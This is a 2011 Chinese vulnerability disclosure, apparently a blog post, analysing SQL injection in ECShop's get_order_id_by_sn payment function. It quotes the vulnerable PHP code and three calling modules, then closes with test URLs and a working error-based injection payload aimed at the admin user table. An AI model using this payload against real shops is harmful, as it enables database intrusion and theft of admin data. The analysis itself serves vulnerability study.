ECshop 支付方式注射

发布日期:2011.1.5
挖掘作者:fjhgx(俺是农村的)
联系方式:bugtosafe@gmail.com
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = ‘false’)

includes\lib_payment.php(ECSHOP 支付接口函数库)

  1. (53行)
  2. /**
  3. *  通过订单sn取得订单ID
  4. *  @param  string  $order_sn   订单sn
  5. *  @param  blob    $voucher    是否为会员充值
  6. */
  7. function get_order_id_by_sn($order_sn, $voucher = ‘false’)
  8. {
  9.     if ($voucher == ‘true’)                                //要想触发漏洞,需保证函数的第二个参数为真。
  10.     {
  11.         return $GLOBALS[‘db’]->getOne("SELECT log_id FROM " . $GLOBALS[‘ecs’]->table(‘pay_log’) . " WHERE order_id=" . $order_sn . ‘ AND order_type=1’);
  12.                 //漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)
  13.     }
  14.     else
  15.     {
  16.         if(is_numeric($order_sn))
  17.         {
  18.             $sql = ‘SELECT order_id FROM ‘ . $GLOBALS[‘ecs’]->table(‘order_info’). " WHERE order_sn = ‘$order_sn’";
  19.             $order_id = $GLOBALS[‘db’]->getOne($sql);
  20.         }
  21.         if (!empty($order_id))
  22.         {
  23.             $pay_log_id = $GLOBALS[‘db’]->getOne("SELECT log_id FROM " . $GLOBALS[‘ecs’]->table(‘pay_log’) . " WHERE order_id=’" . $order_id . "’");
  24.             return $pay_log_id;
  25.         }
  26.         else
  27.         {
  28.             return "";
  29.         }
  30.     }
  31. }

复制代码

respond.php(ECSHOP 支付响应页面)

  1. (56行)
  2. /* 判断是否启用 */        //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)
  3.     $sql = "SELECT COUNT(*) FROM " . $ecs->table(‘payment’) . " WHERE pay_code = ‘$pay_code’ AND enabled = 1";
  4.     if ($db->getOne($sql) == 0)
  5.     {
  6.         $msg = $_LANG[‘pay_disabled’];
  7.     }
  8.     else
  9.     {
  10.         $plugin_file = ‘includes/modules/payment/’ . $pay_code . ‘.php’;                                //包含支付方式的文件,位于“includes\modules\payment”目录下。
  11.  
  12.         /* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
  13.         if (file_exists($plugin_file))
  14.         {
  15.             /* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */
  16.             include_once($plugin_file);
  17.  
  18.             $payment = new $pay_code();
  19.             $msg     = ($payment->respond()) ? $_LANG[‘pay_success’] : $_LANG[‘pay_fail’];
  20.         }
  21.         else
  22.         {
  23.             $msg = $_LANG[‘pay_not_exist’];
  24.         }
  25.     }

复制代码

总共有三处可能触发的漏洞;
1.

  1. tenpay.php(200行)
  2. if ($attach == ‘voucher’)
  3.         {
  4.             $log_id = get_order_id_by_sn($sp_billno, "true");        //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)
  5.         }
  6.         else
  7.         {
  8.             $log_id = get_order_id_by_sn($sp_billno);
  9.         }

复制代码

2.

  1. cncard.php(207行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         if ($c_memo2 == ‘voucher’)
  4.         {
  5.             $c_order = get_order_id_by_sn($c_order, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  6.         }
  7.         else
  8.         {
  9.             $c_order = get_order_id_by_sn($c_order);
  10.         }

复制代码

3.

  1. chinabank.php(156行)
  2. //验证通过后,将订单sn转换为ID 来操作ec订单表
  3.         $v_oid = get_order_id_by_sn($v_oid, "true");        //注意 from:俺是农村的 bugtosafe@gmail.com
  4.         }
  5.         else
  6.         {
  7.         $v_oid = get_order_id_by_sn($v_oid);
  8.         }
  9.  
  10.         if ($v_pstatus == ’20’)
  11.         {
  12.             /* 改变订单状态 */
  13.             order_paid($v_oid);
  14.  
  15.             return true;
  16.         }

复制代码

漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank

EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
此分析文章,只给学习PHP的人研究,不得用于非法用途。
一切有害、有益的结果于作者&狼族组织无任何关系。

发表评论?

0 条评论。

发表评论